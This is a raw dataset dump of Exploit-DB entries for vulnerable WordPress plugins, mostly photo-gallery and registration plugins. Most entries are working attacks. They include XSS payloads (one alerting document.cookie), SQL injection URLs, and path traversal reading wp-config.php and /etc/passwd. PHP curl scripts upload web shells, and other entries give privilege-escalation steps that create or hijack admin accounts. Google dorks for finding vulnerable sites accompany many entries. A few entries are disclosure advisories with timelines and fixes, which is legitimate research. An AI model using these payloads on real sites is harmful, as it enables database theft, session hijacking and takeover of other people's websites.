deardaniel/secdata-raw huggingface dataset:
Exploit-DB #47373
Description: WordPress Plugin Photo Gallery 1.5.34 - Cross-Site Scripting (2)
Type: webapps
Platform: php
Date: 2019-09-10
Author: MTK

Exploit:
# Exploit Title: WordPress Plugin Photo Gallery by 10Web <= 1.5.34 - Persistent Cross Site Scripting
# inurl:"\wp-content\plugins\photo-gallery"
# Date: 09-10-2019
# Exploit Author: MTK (http://mtk911.cf/)
# Vendor Homepage: https://10web.io/
# Software Link: https://downloads.wordpress.org/plugin/photo-gallery.1.5.34.zip
# Version: Up to v1.5.34
# Tested on: Apache2/WordPress 5.2.2 - Firefox/Windows
# CVE : 2019-16118

# Software description:
Photo Gallery is the leading plugin for building beautiful mobile-friendly galleries in a few minutes.


# Technical Details & Impact:
XSS flaws occur whenever an application includes untrusted data in a new web page without proper validation or escaping, or updates an existing web page with user supplied data using a browser API that can create JavaScript. XSS allows attackers to execute scripts in the victim’s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.


# POC

1.    Go to options tab select watermark tab 
2.    Select text as watermark type
3.    Add watermark text as XSS payload e.g;
"'><img src=a onerror='alert(2);'
4.    Click Save.
5.    It will show pop-up confirming existence of XSS vulnerability

# Timeline
09-01-2019 - Vulnerability Reported
09-03-2019 - Vendor responded
09-04-2019 - New version released (1.5.35)
09-10-2019 - Full Disclosure

# References:
https://wordpress.org/plugins/photo-gallery/#developers
https://plugins.trac.wordpress.org/changeset/2150912/photo-gallery/trunk/admin/controllers/Options.php?old=2142624&old_path=photo-gallery%2Ftrunk%2Fadmin%2Fcontrollers%2FOptions.php
https://plugins.trac.wordpress.org/changeset/2150912/photo-gallery/trunk/js/bwg.js?old=2135029&old_path=photo-gallery%2Ftrunk%2Fjs%2Fbwg.js
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16118
Exploit-DB #47371
Description: WordPress Plugin Photo Gallery 1.5.34 - SQL Injection
Type: webapps
Platform: php
Date: 2019-09-10
Author: MTK

Exploit:
# Exploit Title: WordPress Plugin Photo Gallery by 10Web <= 1.5.34 - Blind SQL injection
# inurl:"\wp-content\plugins\photo-gallery"
# Date: 09-10-2019
# Exploit Author: MTK (http://mtk911.cf/)
# Vendor Homepage: https://10web.io/
# Software Link: https://downloads.wordpress.org/plugin/photo-gallery.1.5.34.zip
# Version: Up to v1.5.34
# Tested on: Apache2/WordPress 5.2.2 - Firefox/Windows - SQLMap
# CVE : 2019-16119

# Software description:
Photo Gallery is the leading plugin for building beautiful mobile-friendly galleries in a few minutes.


# Technical Details & Impact:
Through the SQL injection vulnerability, a malicious user could inject SQL code in order to steal information from the database, modify data from the database, even delete database or data from
them.

# POC
In Gallery Group tab > Add new and in add galleries / Gallery groups. GET request going with parameter album_id is vulnerable to Time Based Blind SQL injection.  Following is the POC,

1.   http://127.0.0.1/wp-admin/admin-ajax.php?action=albumsgalleries_bwg&album_id=<SQLi+HERE>&width=785&height=550&bwg_nonce=9e367490cc&

2.    http://127.0.0.1/wp-admin/admin-ajax.php?action=albumsgalleries_bwg&album_id=0 AND (SELECT 1 FROM (SELECT(SLEEP(10)))BLAH)&width=785&height=550&bwg_nonce=9e367490cc&


# Timeline
09-01-2019 - Vulnerability Reported
09-03-2019 - Vendor responded
09-04-2019 - New version released (1.5.35)
09-10-2019 - Full Disclosure

# References:
https://wordpress.org/plugins/photo-gallery/#developers
https://plugins.trac.wordpress.org/changeset/2150912/photo-gallery/trunk/admin/controllers/Albumsgalleries.php?old=1845136&old_path=photo-gallery%2Ftrunk%2Fadmin%2Fcontrollers%2FAlbumsgalleries.php
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16119
Exploit-DB #39623
Description: WordPress Plugin Photocart Link 1.6 - Local File Inclusion
Type: webapps
Platform: php
Date: 2016-03-27
Author: CrashBandicot

Exploit:
# Exploit Title: Wordpress Plugin Photocart Link - Local File Inclusion
# Exploit Author: CrashBandicot @DosPerl
# Date: 2016-03-27
# Google Dork : inurl:/wp-content/plugins/photocart-link/
# Vendor Homepage: https://fr.wordpress.org/plugins/photocart-link/
# Tested on: MSWin32
# Version: 1.6

# Vuln file : decode.php

<?php
error_reporting(0);
header("Cache-control: private"); 
$new =  base64_decode($_REQUEST['id']);
header("Content-type: image/jpeg");
header("Content-transfer-encoding: binary\n"); 
header("Content-Disposition: filename=do_not_copy_these_images");
header('Cache-control: no-cache');
@readfile($new);
?>

# PoC : /wp-content/plugins/photocart-link/decode.php?id=Li4vLi4vLi4vd3AtY29uZmlnLnBocA==

# Right click -> Save As -> and Read with Notepad file Saved

# 27/03/2016 - Vendor Informed about Issues
Exploit-DB #8961
Description: WordPress Plugin Photoracer 1.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2009-06-15
Author: Kacper

Exploit:
Wordpress Photoracer Plugin => SQL injection
http://wordpress.org/extend/plugins/photoracer/ 

Author: Kacper
Website: http://devilteam.pl/

Pozdrawiam wszystkich z huba dc++, oraz wszystkich z forum, 

Pozdro: Ratman, Kopaczka, FDJ

Elo: dla GLOBUSa za pomoc w crackowaniu hasel.

Vuln:

http://site.pl/wp-content/plugins/photoracer/viewimg.php?id=-1+union+select+0,1,2,3,4,user(),6,7,8--

big thanks str0ke for you!

be safe all :)

# milw0rm.com [2009-06-15]
Exploit-DB #17720
Description: WordPress Plugin Photoracer 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2011-08-26
Author: evilsocket

Exploit:
# Exploit Title: WordPress Photoracer plugin <= 1.0 SQL Injection Vulnerability
# Google Dork: inurl:"wp-content/plugins/photoracer/viewimg.php"
# Date: 2011-08-26
# Author: evilsocket ( evilsocket [at] gmail [dot] com )
# Software Link: http://wordpress.org/extend/plugins/photoracer/
# Version: 1.0

---------------
Vulnerable code
---------------

[ viewimg.php line 16 ]

$imgid = $_REQUEST['id'];
$q1 = "select raceid, wpuid, imgid, imgpath, imgname, imgcomment, sumvotes, imgcountview, tinsert from ".
	$wpdb->prefix."photoracer where imgid=$imgid";	

$out = $wpdb->get_row($q1);

---
PoC
---

http://www.site.com/wp-content/plugins/photoracer/viewimg.php?id=-1 UNION SELECT 0,1,2,3,4,VERSION(),6,7,8
Exploit-DB #38872
Description: WordPress Plugin PhotoSmash Galleries - 'bwbps-uploader.php' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2013-12-08
Author: Ashiyane Digital Security Team

Exploit:
source: https://www.securityfocus.com/bid/64173/info

The PhotoSmash Galleries plugin for WordPress is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because it fails to properly validate file extensions before uploading them.

An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application. 

<?php
$uploadfile="file.php";
$ch = curl_init("
http://www.example.com/wordpress/wp-content/plugins/photosmash-galleries/bwbps-uploader.php
");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('FileData'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
?>
Exploit-DB #35429
Description: WordPress Plugin PhotoSmash Galleries 1.0.x - 'action' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-03-08
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/46782/info

The PhotoSmash Galleries WordPress Plugin is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

PhotoSmash Galleries WordPress Plugin 1.0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-content/plugins/photosmash-galleries/index.php?action=%3Cscript%3Ealert%28%22XSS%22%29;%3C/script%3E
Exploit-DB #38018
Description: WordPress Plugin PHP Event Calendar - 'cid' SQL Injection
Type: webapps
Platform: php
Date: 2012-11-09
Author: Ashiyane Digital Security Team

Exploit:
source: https://www.securityfocus.com/bid/56478/info

The PHP Event Calendar plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.

An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/wp-content/plugins/Calendar-Script/load-events.php?cid=1[SQL]
Exploit-DB #37485
Description: WordPress Plugin PHPFreeChat - 'url' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-07-05
Author: Sammy FORGIT

Exploit:
source: https://www.securityfocus.com/bid/54332/info

PHPFreeChat is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

PHPFreeChat 0.2.8 is vulnerable; other versions may also be affected. 

http://www.example.com/wordpress/wp-content/plugins/phpfreechat/lib/csstidy-1.2/css_optimiser.php?url=%22%3E%3Cscript%3Ealert%28123%29%3C/script%3E
Exploit-DB #19055
Description: WordPress Plugin Pica Photo Gallery 1.0 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-06-11
Author: Adrien Thierry

Exploit:
###########################################################
#
# Exploit Title: Wordpress Pica Photo Gallery 1.0 Arbitrary File Upload
# Google Dork: inurl:wp-content/plugins/pica-photo-gallery/
# Date: 11/06/2012
# Exploit Author: Adrien Thierry
# Vendor Homepage:  http://www.apptha.com
# Software Link: http://downloads.wordpress.org/plugin/pica-photo-gallery.zip
# Version: 1.0
#
###########################################################

Vuln page : http://mysite.com/wp-content/plugins/pica-photo-gallery/picaPhotosResize.php

exploit :

<?php
$u="C:\Program Files (x86)\EasyPHP-5.3.9\www\info.php";
$c = curl_init("http://127.0.0.1/wordpress/wp-content/plugins/pica-photo-gallery/picaPhotosResize.php");
curl_setopt($c, CURLOPT_POST, true);
curl_setopt($c, CURLOPT_POSTFIELDS,
array('uploadfile'=>"@$u",
'albumId'=>"1",
'mode'=>"image"));
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
$e = curl_exec($c);
curl_close($c);
echo $e; 
?>

shell access : wp-content/uploads/pica-photo-gallery/info.php

#####################################################################
Exploit-DB #19016
Description: WordPress Plugin PICA Photo Gallery 1.0 - Remote File Disclosure
Type: webapps
Platform: php
Date: 2012-06-08
Author: Sammy FORGIT

Exploit:
##################################################
# Description : Wordpress Plugins - PICA Photo Gallery Remote File 
Disclosure Vulnerability
# Version : 1.0
# Link : http://wordpress.org/extend/plugins/pica-photo-gallery/
# Plugins : http://downloads.wordpress.org/plugin/pica-photo-gallery.zip
# Date : 30-05-2012
# Google Dork : inurl:/wp-content/plugins/pica-photo-gallery/
# Author : Sammy FORGIT - sam at opensyscom dot fr - 
http://www.opensyscom.fr
##################################################


Exploit :

http://www.exemple.com/wordpress/wp-content/plugins/pica-photo-gallery/picadownload.php?imgname=../../../wp-config.php

http://www.exemple.com/wordpress/wp-content/plugins/pica-photo-gallery/picadownload.php?imgname=../../../../../../../etc/passwd
Exploit-DB #41569
Description: WordPress Plugin PICA Photo Gallery 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-03-09
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: WordPress Plugin PICA Photo Gallery v1.0 - SQL Injection
# Google Dork: N/A
# Date: 09.03.2017
# Vendor Homepage: https://www.apptha.com/
# Software: https://www.apptha.com/category/extension/Wordpress/PICA-Photo-Gallery
# Demo: http://www.apptha.com/demo/pica-photo-gallery
# Version: 1.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/?aid=[SQL]
# For example;
# -3+/*!50000union*/+select+0x496873616e2053656e63616e3c62723e7777772e696873616e2e6e6574,2,3,@@version--+-
# wpapptha_term_relationships,wpapptha_term_taxonomy,wpapptha_terms,wpapptha_usermeta,wpapptha_users
# Etc..
# # # # #
Exploit-DB #4695
Description: WordPress Plugin PictPress 0.91 - Remote File Disclosure
Type: webapps
Platform: php
Date: 2007-12-05
Author: GoLd_M

Exploit:
Wordpress Plugin PictPress <= release0.91 Remote File Disclosure Vulnerability
D.Script : http://downloads.wordpress.org/plugin/pictpress.release-0.91.zip
Vuln Code :
In Line 5,6,7,8 :
    $path = $_GET['path'];
    $size = $_GET['size'];
    $base = dirname(__FILE__) . "/..";
    $cache = "$base/cache/$size/$path";
In Line 22 :
    readfile($cache);
POC :
    /wp-content/plugins/pictpress/resize.php?size=../../../../../../../../../../&path=/etc/passwd%00

# milw0rm.com [2007-12-05]
Exploit-DB #50187
Description: WordPress Plugin Picture Gallery 1.4.2 - 'Edit Content URL' Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-08-10
Author: Aryan Chehreghani

Exploit:
# Exploit Title: WordPress Plugin Picture Gallery 1.4.2 - 'Edit Content URL' Stored Cross-Site Scripting (XSS)
# Date: 2021-08-06 
# Exploit Author: Aryan Chehreghani
# Software Link: https://wordpress.org/plugins/picture-gallery/
# Version: 1.4.2
# Tested on: Windows 10

How to Reproduce this Vulnerability:

1. Install WordPress 5.8
2. Install and activate  Picture Gallery - Frontend Image Uploads, AJAX Photo List
3. Navigate to admin menu wrap >> Picture Gallery >> Options >> Access Control Tab >> enter the XSS payload into the Edit Content URL input field.
4. Click Save Changes.
5. You will observe that the payload successfully got stored into the database and when you are triggering the same functionality at that time JavaScript payload is executing successfully and we are getting a pop-up.
6. Payload Used: "><script>alert(document.cookie)</script>
Exploit-DB #37371
Description: WordPress Plugin Picturesurf Gallery - 'upload.php' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-06-03
Author: Sammy FORGIT

Exploit:
source: https://www.securityfocus.com/bid/53894/info

Picturesurf Gallery plugin is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.

An attacker can exploit this issue to upload arbitrary PHP code and run it in the context of the Web server process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

Picturesurf Gallery 1.2 is vulnerable; other versions may also be affected.

PostShell.php
<?php

$uploadfile="lo.php.gif";
$ch =
curl_init("http://www.exemple.com/wordpress/wp-content/plugins/picturesurf-gallery/upload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('Filedata'=>"@$uploadfile",
'is_simple'=>'is_simple'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access :
http://www.exemple.com/wordpress/wp-content/plugins/picturesurf-gallery/data/upload/lo.php.gif

lo.php.gif
GIF89a???????????!??????,???????D?;?
<?php
phpinfo();
?>
Exploit-DB #48238
Description: Wordpress Plugin PicUploader 1.0 - Remote File Upload
Type: webapps
Platform: php
Date: 2020-03-23
Author: Milad karimi

Exploit:
* Exploit Title: Wordpress Plugin PicUploader 1.0 - Remote File Upload
* Google Dork: N/A
* Date: 2020.03.22
* Exploit Author: Milad Karimi
* Vendor Homepage: https://github.com/xiebruce/PicUploader
* Software Link: https://github.com/xiebruce/PicUploader
* Category : webapps
* Version: 1.0
* Tested on: windows 10 , firefox
* CVE : N/A

Vulnerable Source:
    88: move_uploaded_file move_uploaded_file($tmp_name, $dest))
    86: foreach($files['tmp_name'] as $key=>$tmp_name)
    80: $files = $_FILES['file']){
    72: $_FILES['file'] = $_FILES[$plugin];  // if(isset($_FILES)), 
    87: $dest = $tmpDir . '/' . $files['name'][$key]; 
    81: $tmpDir = APP_PATH . '/.tmp'; 
    24: define('APP_PATH', strtr(__DIR__, '\\', '/'));  // define() 
    80: $files = $_FILES['file']){
    72: $_FILES['file'] = $_FILES[$plugin];  // if(isset($_FILES)), 
    80: if(isset($_FILES['file']) && $files = $_FILES['file'])
    84: if(is_array($files['tmp_name']))

Exploit:
<?php
$shahab="file.jpg";
$ch = curl_init("http://localhost/wordpress/wp-content/pluginsPicUploader-master/index.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('zip'=>"@$shahab"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
print "$result";
?>

Location File:
http://localhost/wordpress/wp-content/plugins/PicUploader/file.jpg
Exploit-DB #38643
Description: WordPress Plugin Pie Register - 'wp-login.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2013-07-12
Author: gravitylover

Exploit:
source: https://www.securityfocus.com/bid/61140/info

Pie Register plugin for WordPress is prone to multiple cross-site scripting vulnerabilities.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Pie Register 1.30 is vulnerable; other versions may also be affected. 

<?php echo $_POST['pass1'];?>
<?php echo $_POST['pass2'];?>
Exploit-DB #35823
Description: WordPress Plugin Pie Register 2.0.13 - Privilege Escalation
Type: webapps
Platform: php
Date: 2015-01-16
Author: Kacper Szurek

Exploit:
# Exploit Title: Pie Register 2.0.13 Privilege escalation
# Date: 16-10-2014
# Software Link: https://wordpress.org/plugins/pie-register/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# CVE: CVE-2014-8802
# Category: webapps

1. Description
  
Anyone can import CSV file. Pie Register will import users from this file.

File: pie-register\pie-register.php

add_action( 'init', array($this,'pie_main') );
function pie_main() {
	// I skip unnecessary lines
	if(isset($_FILES['csvfile']['name'])) {
		$this->importUsers();
	}
}

http://security.szurek.pl/pie-register-2013-privilege-escalation.html

2. Proof of Concept

Create CSV file based on given example:

"Username","Display name","E-mail","User Registered","First Name","Last Name","Nickname","Role"
"hack","Hacked","hacked@hacked.hacked","2010-10-10 20:00:00","Hacked","Hacked","Hacked","administrator"

Import account using:

<form method="post" action="http://wordpress-instalation" enctype="multipart/form-data">
    Input CSV<input type="file" name="csvfile">
    <input type="submit" value="Add user!">
</form>

Create another standard account using wp-login.php?action=register.

After login go to wp-admin/profile.php and search "uid" in page source.

Number after "uid" is our current account id. For example: "uid":"123".

We can assume that previously imported admin account has id-1 (or id-x where x is natural number).

We can activate this account using:

<form method="post" action="http://wordpress-instalation">
    <input type="hidden" name="verifyit" value="1">
    Account id:<input type="text" name="vusers[]" value="">
    <input type="submit" value="Activate user!">
</form>

Finally we can reset password using: http://wordpress-instalation/wp-login.php?action=lostpassword
  
3. Solution:
  
Update to version 2.0.14
https://downloads.wordpress.org/plugin/pie-register.2.0.14.zip
Exploit-DB #50395
Description: WordPress Plugin Pie Register 3.7.1.4 - Admin Privilege Escalation (Unauthenticated)
Type: webapps
Platform: php
Date: 2021-10-08
Author: Lotfi13-DZ

Exploit:
# Exploit Title: WordPress Plugin Pie Register 3.7.1.4 - Admin Privilege Escalation (Unauthenticated)
# Google Dork: inurl:/plugins/pie-register/
# Date: 08.10.2021
# Exploit Author: Lotfi13-DZ
# Vendor Homepage: https://wordpress.org/plugins/pie-register/
# Software Link: https://downloads.wordpress.org/plugin/pie-register.3.7.1.4.zip
# Version: <= 3.7.1.4
# Tested on: ubuntu

Vulnerable arg: [user_id_social_site=1] <== will return the authentications cookies for user 1 (admin).

Exploit: wget -q -S -O - http://localhost/ --post-data 'user_id_social_site=1&social_site=true&piereg_login_after_registration=true&_wp_http_referer=/login/&log=null&pwd=null' > /dev/null
Exploit-DB #44867
Description: WordPress Plugin Pie Register < 3.0.9 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2018-06-11
Author: Manuel García Cárdenas

Exploit:
# Title: WordPress Plugin Pie Register < 3.0.9 - Blind SQL Injection
# Author: Manuel García Cárdenas
# Date: 2018-05-10
# Software: WordPress Plugin Pie Register 3.0.9
# CVE: CVE-2018-10969

# I. VULNERABILITY
# WordPress Plugin Pie Register 3.0.9 - Blind SQL Injection

# II. BACKGROUND
# Pie-Register is a quick and easy way to brand your Registration Pages on
# WordPress sites.

# III. DESCRIPTION
# This bug was found using the portal in the files:
# /pie-register/classes/invitation_code_pagination.php:    if ( isset(
# $_GET['order'] ) && $_GET['order'] )
# /pie-register/classes/invitation_code_pagination.php:    $order =
# $_GET['order'];
# And when the query is executed, the parameter "order" it is not sanitized.
# /pie-register/classes/invitation_code_pagination.php:    $this->order = esc_sql( $order );

# IV. PROOF OF CONCEPT
# The following URL have been confirmed to all suffer from Time Based SQL Injection.

GET
/wordpress/wp-admin/admin.php?page=pie-invitation-codes&orderby=name&order=desc
(original)

GET
/wordpress/wp-admin/admin.php?page=pie-invitation-codes&orderby=name&order=desc%2c(select*from(select(sleep(2)))a)
HTTP/1.1(2 seconds of response)

GET
/wordpress/wp-admin/admin.php?page=pie-invitation-codes&orderby=name&order=desc%2c(select*from(select(sleep(30)))a)
HTTP/1.1(30 seconds of response)

# V. SYSTEMS AFFECTED
# Pie Register <= 3.0.9

# VI. DISCLOSURE TIMELINE
# May 10, 2018 1: Vulnerability acquired by Manuel Garcia Cardenas
# May 10, 2018 2: Send to vendor without response
# June 05, 2018 3: Second email to vendor without response
# June 11, 2018 4: Send to the Full-Disclosure lists

# VII. Solution
# Disable plugin until a fix is available
Exploit-DB #35562
Description: WordPress Plugin Placester 0.1 - 'ajax_action' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-04-03
Author: John Leitch

Exploit:
source: https://www.securityfocus.com/bid/47142/info

The Placester WordPress Plugin is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Placester 0.1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/wordpress/wp-content/plugins/placester/admin/support_ajax.php?ajax_action=%22%3E%3Cscript%3Ealert%280%29%3C/script%3E